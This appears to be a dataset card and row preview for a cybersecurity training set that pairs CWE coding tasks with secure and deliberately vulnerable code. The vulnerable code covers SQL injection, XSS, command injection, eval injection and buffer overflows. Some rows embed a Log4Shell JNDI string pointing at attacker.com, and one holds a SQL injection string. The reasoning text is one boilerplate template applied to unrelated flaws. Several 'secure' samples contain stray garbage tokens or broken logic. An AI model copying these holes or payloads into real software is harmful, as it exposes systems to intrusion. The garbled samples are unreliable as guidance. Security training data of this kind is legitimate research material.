user_input = input("Enter your command: ")
execute_command(user_input)
``` | 267 | 0.56 |
cyber_cbececcbf57d | vulnerability_research_cve | CWE-134 | Write a java code that takes user input and prints it out. If the user input contains a JNDI lookup string, the program should print an error message instead of printing the user input. | Target: java implementation for Write a java code that takes user input and prints it out. If the user.
Vulnerability Vector: Java's String.format method can be exploited through format string attacks to re (CWE-134).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```java
import java.util.regex.Pattern;
public class Main {
private static final Pattern JNDI_PATTERN = Pattern.compile(".*\\$\\{jndi:.*\\}.*");
public static void main(String[] args) {
try {
String userInput = "${jndi:ldap://attacker.com/a}";
if (JNDI_PATTERN.matc... | <think>
Target: java implementation for Write a java code that takes user input and prints it out. If the user.
Vulnerability Vector: Java's String.format method can be exploited through format string attacks to re (CWE-134).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```java
import java.util.*;
public class Main {
public static void main(String[] args) {
try {
String userInput = "${jndi:ldap://attacker.com/a}";
System.out.println(String.format(userInput));
} catch (Exception e) {
e.printStackTrace();ival
}
}
}
``` | 284 | 0.58 |
cyber_5414a35c7b8d | vulnerability_research_cve | CWE-79 | Write a javascript code that creates an HTML paragraph element with some text content. If the text content is a malicious script, it will execute when the page is loaded. Then, append this new element to the body of the HTML document. | Target: javascript implementation for Write a javascript code that creates an HTML paragraph element with so.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities are common in JavaScript applications (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
function createElement(tag, text) {
let element = document.createElement(tag);
element.innerText = text; // Use innerText instead of textContent
return element;
}
function appendToBody(element) {
document.body.appendChild(element);妆;
}
let userInput = "<script>alert('Malicious script')</... | <think>
Target: javascript implementation for Write a javascript code that creates an HTML paragraph element with so.
Vulnerability Vector: Cross-Site Scripting (XSS) vulnerabilities are common in JavaScript applications (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function createElement(tag, text) {
let element = document.createElement(tag);
element.textContent = text;
return element;
}
function appendToBody(element) {
document.body.appendChild(element);
}
let userInput = "<script>alert('Malicious script')</script>";
let pElement = createElement("... | 246 | 0.72 |
cyber_5bfd471cf9a9 | vulnerability_research_cve | CWE-89 | Write a c# code that connects to a SQL Server database and retrieves user information based on their ID. | Target: c# implementation for Write a c# code that connects to a SQL Server database and retrieves u.
Vulnerability Vector: Inadequate input validation and sanitization can lead to SQL Injection vulnerabi (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class UserRepository
{
private string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
public void GetUserById(string id)
{
using (SqlConnection connection = new SqlConnection(connection... | <think>
Target: c# implementation for Write a c# code that connects to a SQL Server database and retrieves u.
Vulnerability Vector: Inadequate input validation and sanitization can lead to SQL Injection vulnerabi (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data.SqlClient;
public class UserRepository
{
private string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
public void GetUserById(string id)
{
using (SqlConnection connection = new SqlConnection(connection... | 334 | 0.81 |
cyber_d2c7efc97624 | vulnerability_research_cve | CWE-20 | Write a php code that gets a value from the URL parameter 'var', assigns it to an associative array with key 'a', extracts the array into variables, and then echoes the value of variable 'a'. The value of 'a' should be the value of 'var' from the URL. | Target: php implementation for Write a php code that gets a value from the URL parameter 'var', assig.
Vulnerability Vector: The PHP `extract()` function may lead to code injection if used without proper s (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$var = filter_input(INPUT_GET, 'var', FILTER_SANITIZE_STRING);
$array = ['a' => $var];
extract($array, EXTR_PREFIX_SAME, "b");
echo $array['a'];
?>
``` | <think>
Target: php implementation for Write a php code that gets a value from the URL parameter 'var', assig.
Vulnerability Vector: The PHP `extract()` function may lead to code injection if used without proper s (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$var = $_GET['var'];
$array = array('a' => $var);
extract($array);
echo $a;
?>
``` | 181 | 0.62 |
cyber_d285c925adc4 | vulnerability_research_cve | CWE-20 | Write a ruby code that creates a class named 'User' with an attribute accessor named 'name'. The class should have an initialize method that takes one argument and assigns it to an instance variable 'name'. It should also have a method named 'greeting' that prints out a greeting message including the user's name. Then,... | Target: ruby implementation for Write a ruby code that creates a class named 'User' with an attribute .
Vulnerability Vector: The use of `eval` or `instance_eval` methods in Ruby can lead to code injection (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
class User
attr_accessor :name
def initialize(name)
@name = name
end
def greeting
puts "Hello, #{@name}!"
end
end
def create_user(name)
User.new(name)
end
input = gets.chomp
user = create_user(input)
user.greeting
``` | <think>
Target: ruby implementation for Write a ruby code that creates a class named 'User' with an attribute .
Vulnerability Vector: The use of `eval` or `instance_eval` methods in Ruby can lead to code injection (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
class User
attr_accessor :name
def initialize(name)
@name = name
end
def greeting
puts "Hello, #{@name}!"
end
end
def create_user(name)
eval("User.new('#{name}')")
end
input = gets.chomp
user = create_user(input)
user.greeting
``` | 209 | 0.83 |
cyber_361c8c637394 | vulnerability_research_cve | CWE-20 | Write a swift code that defines a class named 'MyClass' with a property 'myProperty' of type 'Int'. Define a function named 'badFunction' that creates an instance of 'MyClass', returns a pointer to this instance, and then the function ends. After calling 'badFunction', store the returned pointer in 'myPointer'. Trying ... | Target: swift implementation for Write a swift code that defines a class named 'MyClass' with a propert.
Vulnerability Vector: The use of unsafeAddress in Swift can lead to memory corruption or crashes due t (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
class MyClass {
var myProperty: Int = 0
}
struct MyStruct {
var instance: MyClass
}
func goodFunction() -> UnsafeMutablePointer<MyClass> {
let structInstance = MyStruct(instance: MyClass())
return withUnsafeMutablePointer(to: &structInstance.instance) { pointer in
r... | <think>
Target: swift implementation for Write a swift code that defines a class named 'MyClass' with a propert.
Vulnerability Vector: The use of unsafeAddress in Swift can lead to memory corruption or crashes due t (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
class MyClass {
var myProperty: Int = 0
}
func badFunction() -> UnsafeMutablePointer<MyClass> {
let instance = MyClass()
return withUnsafeMutablePointer(to: &instance) { pointer in
return pointer
}
}
let myPointer = badFunction()
// This will crash because `myPointe... | 234 | 0.82 |
cyber_4fffbbc07b0e | vulnerability_research_cve | CWE-78 | Write a go code that starts an HTTP server on port 8080. When a request is made to the root URL ('/'), it executes the 'ls -l' command in the system shell and returns the output or error message. | Target: go implementation for Write a go code that starts an HTTP server on port 8080. When a reques.
Vulnerability Vector: Incorrect use of `os/exec` package can lead to command injection vulnerabilities (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"net/http"
"os/exec"
"strings"
)
func handler(w http.ResponseWriter, r *http.Request) {
cmd := exec.CommandContext(r.Context(), "sh", "-c", "ls -l")
stdout, err := cmd.Output()
if err != nil {
fmt.Fprintf(w, "Error: %s", err)
} else {
fmt.Fprintf(w, "Output: %s", stdout)
... | <think>
Target: go implementation for Write a go code that starts an HTTP server on port 8080. When a reques.
Vulnerability Vector: Incorrect use of `os/exec` package can lead to command injection vulnerabilities (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func handler(w http.ResponseWriter, r *http.Request) {
cmd := exec.Command("ls", "-l")
stdout, err := cmd.Output()
if err != nil {
fmt.Fprintf(w, "Error: %s", err)
} else {
fmt.Fprintf(w, "Output: %s", stdout)
}
}
func main() {
http.HandleFunc("/"... | 291 | 0.8 |
cyber_72f1662c6f16 | vulnerability_research_cve | CWE-20 | Write a kotlin code that defines two string variables, assigns them the same value, and then compares them using the equality operator. Print the result. | Target: kotlin implementation for Write a kotlin code that defines two string variables, assigns them th.
Vulnerability Vector: Improper use of the `==` operator for comparing strings in Kotlin can lead to in (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
fun main(args: Array<String>) {
val str1 = "Hello World"
val str2 = "Hello World"
println(str1 === str2) // This will print false because it checks if both references point to the same object
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that defines two string variables, assigns them th.
Vulnerability Vector: Improper use of the `==` operator for comparing strings in Kotlin can lead to in (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
fun main(args: Array<String>) {
val str1 = "Hello World"
val str2 = "Hello World"
println(str1 == str2) // This will print true even though they are different objects
}
``` | 178 | 0.76 |
cyber_c2f8158f11cd | vulnerability_research_cve | CWE-20 | Write a fortran code that reads two integers from the user, calculates their sum and ratio, and prints them out. | Target: fortran implementation for Write a fortran code that reads two integers from the user, calculates.
Vulnerability Vector: The use of uninitialized variables in Fortran can lead to unexpected results or (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
program main
implicit none
integer :: i, j, sum_val
real :: ratio
print *, "Enter two integers:"
read *, i, j
! Adding checks to avoid division by zero
if (j /= 0) then
sum_val = i + j
ratio = real(i) / real(j) ! Explicit type conversion to real
... | <think>
Target: fortran implementation for Write a fortran code that reads two integers from the user, calculates.
Vulnerability Vector: The use of uninitialized variables in Fortran can lead to unexpected results or (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```fortran
program main
implicit none
integer :: i, j, k
real :: x
print *, "Enter two integers:"
read *, i, j
k = i + j
x = i / j
print *, "Sum is ", k
print *, "Ratio is ", x
end program main
``` | 256 | 0.6 |
cyber_108c45fa80e2 | vulnerability_research_cve | CWE-787 | Write a c++ code that includes two functions. The first function `func` takes a character pointer as an argument. It creates a character array `buffer` of size 10 and copies the content of the input string into this buffer using the `strcpy` function. Then it prints out the content of the buffer. The second function `m... | Target: c++ implementation for Write a c++ code that includes two functions. The first function `func.
Vulnerability Vector: A buffer overflow vulnerability in C++ could occur through unsafe use of 'strcpy (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <string.h>
#include <stdio.h>
void func(const char* input) {
char buffer[10];
strncpy(buffer, input, sizeof(buffer));
buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
printf("%s\n", buffer);
}
int main() {
const char large_input[20] = "This is a large input";
func(... | <think>
Target: c++ implementation for Write a c++ code that includes two functions. The first function `func.
Vulnerability Vector: A buffer overflow vulnerability in C++ could occur through unsafe use of 'strcpy (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <string.h>
#include <stdio.h>
void func(char* input) {
char buffer[10];
strcpy(buffer, input);
printf("%s\n", buffer);
}
int main() {
char large_input[20] = "This is a large input";
func(large_input);
return 0;
}
``` | 242 | 0.72 |
cyber_837131708a43 | vulnerability_research_cve | CWE-787 | Write a python code that imports the os module. Define a function named 'execute_command' which takes a string as an argument. Inside this function, create a variable named 'command' and assign it the value of 'ls -l ' concatenated with the user input. Then use the os.system() function to execute this command. Finally,... | Target: python implementation for Write a python code that imports the os module. Define a function name.
Vulnerability Vector: A potential buffer overflow vulnerability in Python could occur when handling us (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```python
import os
import subprocess
def execute_command(user_input):
if len(user_input) > 256: # arbitrary limit, adjust as needed
raise ValueError('Input too long')
command = ["ls", "-l", user_input]
subprocess.run(command, check=True)
try:
execute_command("very_long_string" * 1024)
except ... | <think>
Target: python implementation for Write a python code that imports the os module. Define a function name.
Vulnerability Vector: A potential buffer overflow vulnerability in Python could occur when handling us (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```python
import os
def execute_command(user_input):
command = "ls -l " + user_input
os.system(command)
execute_command("very_long_string" * 1024)
``` | 218 | 0.6 |
cyber_004cebc75102 | vulnerability_research_cve | CWE-79 | Write a javascript code that uses Express.js framework to create a server that listens on port 3000. The server should respond to GET requests at '/' with an HTML response that says 'Hello' followed by the name passed in the query string. | Target: javascript implementation for Write a javascript code that uses Express.js framework to create a ser.
Vulnerability Vector: Improper input validation and sanitization can lead to Cross-Site Scripting (XSS (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
const express = require('express');
const app = express();
app.disable('x-powered-by'); // Disable x-powered-by header for security
app.get('/', (req, res) => {
let name = req.query.name;
if (!name) {
name = 'Guest';
} else {
name = encodeURIComponent(name); // Sanitize user i... | <think>
Target: javascript implementation for Write a javascript code that uses Express.js framework to create a ser.
Vulnerability Vector: Improper input validation and sanitization can lead to Cross-Site Scripting (XSS (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
const express = require('express');
const app = express();
app.use(express.urlencoded());
app.get('/', (req, res) => {
let name = req.query.name;
res.send(`<h1>Hello ${name}</h1>`);
});
app.listen(3000, () => console.log('Server running on port 3000'));
``` | 265 | 0.66 |
cyber_11531de0dd89 | vulnerability_research_cve | CWE-79 | Write a c# code that creates an MVC controller named 'HomeController' in the namespace 'XSSApplication.Controllers'. This controller has one action method named 'Index' which responds to HTTP GET requests. The 'Index' action method accepts a string parameter named 'userInput'. It stores the value of 'userInput' into th... | Target: c# implementation for Write a c# code that creates an MVC controller named 'HomeController' .
Vulnerability Vector: Improper input validation in the user-input handling of a web application using (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Web.Mvc;
namespace XSSApplication.Controllers
{
public class HomeController : Controller
{
[HttpGet] Hawk
public ActionResult Index(string userInput)
{
if (!string.IsNullOrWhiteSpace(userInput))
{
// Encode user in... | <think>
Target: c# implementation for Write a c# code that creates an MVC controller named 'HomeController' .
Vulnerability Vector: Improper input validation in the user-input handling of a web application using (CWE-79).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Web.Mvc;
namespace XSSApplication.Controllers
{
public class HomeController : Controller
{
[HttpGet]
public ActionResult Index(string userInput)
{
ViewBag.UserInput = userInput;
return View();
}
}
}
``` | 241 | 0.65 |
cyber_f143a5bfb4f6 | vulnerability_research_cve | CWE-89 | Write a ruby code that defines a method named `search_users` which takes in a string `query` as an argument. This method should return all users from the database where the username matches the query. The method should also include a call to the `search_users` method with the argument ` | Target: ruby implementation for Write a ruby code that defines a method named `search_users` which tak.
Vulnerability Vector: Ruby on Rail's default configuration allows for SQL injection attacks through Ac (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
def search_users(query)
User.where("username = ?", query)
end
search_users("admin' OR '1'='1")
``` | <think>
Target: ruby implementation for Write a ruby code that defines a method named `search_users` which tak.
Vulnerability Vector: Ruby on Rail's default configuration allows for SQL injection attacks through Ac (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
def search_users(query)
User.where("username = '#{query}'")
end
search_users("admin' OR '1'='1")
``` | 149 | 0.78 |
cyber_e57907ed4c8f | vulnerability_research_cve | CWE-20 | Write a swift code that creates a class named 'User' with a property 'name'. The class should have an initializer that takes a string parameter and assigns it to the 'name' property. Then, create a function named 'showUserInfo' that accepts a User object as a parameter and prints a greeting message containing the user'... | Target: swift implementation for Write a swift code that creates a class named 'User' with a property '.
Vulnerability Vector: In Swift, improper use of string interpolation can lead to a potential injection (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
class User {
var name: String
init(name: String) {Bs
self.name = name
}
}
func showUserInfo(_ user: User) {
if let unwrappedName = user.name.unicodeScalars.isDisjoint(with: CharacterSet.alphanumerics) {
print("Hello, \(unwrappedName)")
} else {
... | <think>
Target: swift implementation for Write a swift code that creates a class named 'User' with a property '.
Vulnerability Vector: In Swift, improper use of string interpolation can lead to a potential injection (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
class User {
var name: String
init(name: String) {
self.name = name
}
}
func showUserInfo(_ user: User) {
let message = "Hello, \(user.name)"
print(message)
}
let userInput = "Alice"
let user = User(name: userInput)
showUserInfo(user)
``` | 254 | 0.69 |
cyber_e5d37932d5f9 | vulnerability_research_cve | CWE-787 | Write a go code that prints 'Hello, World!' and a slice of integers from 0 to 3. The program should first create a string 'Hello, ' and a string 'World!'. Then it should concatenate these two strings to get 'Hello, World!' and print it. After that, it should create a slice of integers with length 2 and capacity 3. It s... | Target: go implementation for Write a go code that prints 'Hello, World!' and a slice of integers fr.
Vulnerability Vector: Buffer Overflow vulnerability in Go could occur if a string is concatenated with (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"strings"
) covered
func main() {
var greetingBuilder strings.Builder
greetingBuilder.WriteString("Hello, ")
greetingBuilder.WriteString("World")
greetingBuilder.WriteString("!\n")
fmt.Print(greetingBuilder.String())
slice := make([]int, 4)
for i := 0; i < 4; i++ {
slice[... | <think>
Target: go implementation for Write a go code that prints 'Hello, World!' and a slice of integers fr.
Vulnerability Vector: Buffer Overflow vulnerability in Go could occur if a string is concatenated with (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"strings"
)
func main() {
str := "Hello, "
name := "World!"
greeting := str + name
fmt.Println(greeting)
slice := make([]int, 2, 3)
for i := 0; i < 4; i++ {
slice[i] = i
}
fmt.Println(slice)
}
``` | 248 | 0.76 |
End of preview. Expand in Data Studio
Mark-Cyber-Curriculum: Defensive and Offensive Cybersecurity Dataset
Mark-Cyber-Curriculum is a curated, strictly deduplicated cybersecurity training dataset containing 4,613 unique samples across vulnerability research (CWE/CVE), Red Team penetration testing, Blue Team SIEM/DFIR, binary exploitation, Linux kernel eBPF SecOps, and AI prompt-injection sentinel defense.
Dataset Summary and Provenance
- Total Unique Samples: 4,613 (strictly deduplicated across normalized prompt, first-150-character response prefix, and
compressed_thinkfrom 6,524 raw records) - License:
apache-2.0 - Upstream Open-Source Attributions:
CyberNative/Code_Vulnerability_Security_DPO(Apache-2.0) — paired secure (chosen) and vulnerable (rejected) code implementations across CWE categories.Trendyol/Trendyol-Cybersecurity-Instruction-Tuning-Dataset(Apache-2.0) — defensive engineering, SOC operations, and incident response instructions.neuralchemy/Cybersecurity-Dataset— offensive/defensive MITRE ATT&CK analysis and red/blue team workflows.
Domain Breakdown
| Category | Unique Samples |
|---|---|
vulnerability_research_cve |
1,465 |
red_team_pentest |
1,077 |
blue_team_siem_dfir |
1,051 |
binary_exploitation_re |
896 |
kernel_ebpf_secops |
116 |
ai_red_teaming_sentinel |
8 |
| Total | 4,613 |
Schema
Each record contains:
id: Unique sample identifier.category: Domain category (vulnerability_research_cve,red_team_pentest,blue_team_siem_dfir,binary_exploitation_re,kernel_ebpf_secops,ai_red_teaming_sentinel).cwe_or_mitre: Associated CWE or MITRE ATT&CK technique identifier.instruction: Technical security prompt or code task.compressed_think: Structured threat vector and remediation reasoning summary.response: Verified defensive/remediation implementation or analysis.chosen: Formatted reasoning + response target.rejected: Upstream vulnerable code baseline (populated forCyberNative/Code_Vulnerability_Security_DPOpairs; empty string""for SFT-only records).
Quick Start
from datasets import load_dataset
dataset = load_dataset("miceworks/Mark-Cyber-Curriculum", split="train")
print(f"Loaded {len(dataset)} unique samples")
print(dataset[0])
- Downloads last month
- 101